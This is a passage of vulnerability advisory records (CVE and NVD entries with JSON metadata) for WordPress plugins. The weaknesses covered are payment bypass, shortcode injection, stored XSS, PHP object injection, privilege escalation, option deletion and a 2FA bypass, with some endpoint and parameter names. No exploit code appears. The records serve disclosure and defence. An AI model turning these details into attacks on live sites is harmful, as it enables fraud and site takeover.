                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-345 Insufficient Verification of Data Authenticity
CWE-345 - Insufficient Verification of Data Authenticity

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/02b39e4f-181d-45…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	WP Express Checkout	Affected: 0 , < 2.5.0 (semver)

Credits

ryan zegar WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-83537",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:16.966066Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-345",
                "description": "CWE-345 Insufficient Verification of Data Authenticity",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:34.131Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "WP Express Checkout",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "2.5.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "ryan zegar"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-345 Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:06.539Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/02b39e4f-181d-4573-9175-bf5a6d71e531/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "WP Express Checkout \u003c 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-83537",
    "datePublished": "2026-09-09T06:25:06.539Z",
    "dateReserved": "2026-08-31T17:01:05.328Z",
    "dateUpdated": "2026-09-09T15:23:34.131Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-80440 (GCVE-0-2026-80440)

Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Hustle < 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders

Summary

The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.

Severity

4.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/7b86b462-e021-49…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Hustle	Affected: 7.0.0.1 , < 7.8.14.2 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-80440",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:21.634590Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:25.033Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "Hustle",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "7.8.14.2",
              "status": "affected",
              "version": "7.0.0.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:05.901Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/7b86b462-e021-4906-bbf3-bf83f89a03ee/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Hustle \u003c 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-80440",
    "datePublished": "2026-09-09T06:25:05.901Z",
    "dateReserved": "2026-08-26T11:10:10.203Z",
    "dateUpdated": "2026-09-09T15:23:25.033Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19855 (GCVE-0-2026-19855)

Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Spam protection, Honeypot, Anti-Spam by CleanTalk < 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text

Summary

The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress's shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/c27f3657-261a-46…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	CleanTalk	Affected: 0 , < 6.87 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-19855",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:26.851558Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:18.450Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "CleanTalk",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.87",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress\u0027s shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:05.235Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/c27f3657-261a-46cd-860c-0bdf5c849190/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Spam protection, Honeypot, Anti-Spam by CleanTalk \u003c 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19855",
    "datePublished": "2026-09-09T06:25:05.235Z",
    "dateReserved": "2026-08-14T09:43:54.757Z",
    "dateUpdated": "2026-09-09T15:23:18.450Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-85418 (GCVE-0-2026-85418)

Vulnerability from nvd – Published: 2026-09-09 06:00 – Updated: 2026-09-09 15:22

Title

Orbit Fox < 3.0.9 - Contributor+ Stored XSS via Beaver Builder Pricing Table Widget

Summary

The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin before 3.0.9 does not validate a user-supplied HTML tag name in one of its Beaver Builder widgets before echoing it into the rendered markup, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when any visitor views the affected page.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-79 Cross-Site Scripting (XSS)
CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/8f9ba009-324f-46…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More	Affected: 0 , < 3.0.9 (semver)

Credits

Farid Narimanov WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 5.4,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "LOW",
              "scope": "CHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-85418",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:32.751835Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-79",
                "description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:22:59.845Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "3.0.9",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Farid Narimanov"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More WordPress plugin before 3.0.9 does not validate a user-supplied HTML tag name in one of its Beaver Builder widgets before echoing it into the rendered markup, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when any visitor views the affected page."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-79 Cross-Site Scripting (XSS)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:00:09.271Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/8f9ba009-324f-46ef-853f-9f2e706c401e/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Orbit Fox \u003c 3.0.9 - Contributor+ Stored XSS via Beaver Builder Pricing Table Widget",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-85418",
    "datePublished": "2026-09-09T06:00:09.271Z",
    "dateReserved": "2026-09-03T19:33:55.847Z",
    "dateUpdated": "2026-09-09T15:22:59.845Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-82925 (GCVE-0-2026-82925)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature

Summary

The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site's WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0's own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site.

Severity

No CVSS data available.

CWE

CWE-502 Deserialization of Untrusted Data

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/bce47707-b60c-42…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Site Reviews	Affected: 7.2.2 , < 8.3.0 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Site Reviews",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "8.3.0",
              "status": "affected",
              "version": "7.2.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site\u0027s WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0\u0027s own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-502 Deserialization of Untrusted Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.747Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/bce47707-b60c-42a7-8817-89b1483f41a3/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-82925",
    "datePublished": "2026-09-10T06:00:06.747Z",
    "dateReserved": "2026-08-31T11:50:40.276Z",
    "dateUpdated": "2026-09-10T06:00:06.747Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-81431 (GCVE-0-2026-81431)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id

Summary

The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807.

Severity

No CVSS data available.

CWE

CWE-269 Improper Privilege Management

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e1255dd5-90d9-4c…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Registration Form for WooCommerce	Affected: 1.1.0 , < 1.1.3 (semver)

Credits

Sai Praneeth Koti WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Registration Form for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "1.1.3",
              "status": "affected",
              "version": "1.1.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Sai Praneeth Koti"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-269 Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.575Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e1255dd5-90d9-4ccf-9f84-3d1b41c5cba4/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-81431",
    "datePublished": "2026-09-10T06:00:06.575Z",
    "dateReserved": "2026-08-26T19:16:18.415Z",
    "dateUpdated": "2026-09-10T06:00:06.575Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-78361 (GCVE-0-2026-78361)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 - Unauthenticated Arbitrary Option Deletion

Summary

The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline.

Severity

No CVSS data available.

CWE

CWE-862 Missing Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/8b9a00f5-d7f5-44…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	zipMoney(Zip Co) Payments Plugin for WooCommerce	Affected: 0 , < 2.4.0 (semver)

Credits

Naoki Kawahigashi WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "zipMoney(Zip Co) Payments Plugin for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "2.4.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Naoki Kawahigashi"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-862 Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.399Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/8b9a00f5-d7f5-447d-b109-d15e2cde3885/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "zipMoney(Zip Co) Payments Plugin for WooCommerce \u003c 2.4.0 - Unauthenticated Arbitrary Option Deletion",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-78361",
    "datePublished": "2026-09-10T06:00:06.399Z",
    "dateReserved": "2026-08-24T11:38:28.753Z",
    "dateUpdated": "2026-09-10T06:00:06.399Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-77771 (GCVE-0-2026-77771)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

miniOrange 2FA (Free & Pro) - 2FA Bypass via Session-Scoped OTP Lockout

Summary

The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim's password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all.

Severity

No CVSS data available.

CWE

CWE-287 Improper Authentication

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e1e57673-18cb-41…	exploitvdb-entrytechnical-description

Impacted products

2 products

Vendor	Product	Version
Unknown	miniOrange 2FA	Affected: 6.2.8 , < 6.3.1 (semver)
Unknown	miniOrange 2FA	Affected: 18.0 , < 19.3 (semver)

Credits

pervinzahidli WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.3.1",
              "status": "affected",
              "version": "6.2.8",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "19.3",
              "status": "affected",
              "version": "18.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "pervinzahidli"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim\u0027s password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-287 Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.225Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e1e57673-18cb-4157-9d58-547af7101b04/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "miniOrange 2FA (Free \u0026 Pro) - 2FA Bypass via Session-Scoped OTP Lockout",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-77771",
    "datePublished": "2026-09-10T06:00:06.225Z",
    "dateReserved": "2026-08-21T10:58:08.233Z",
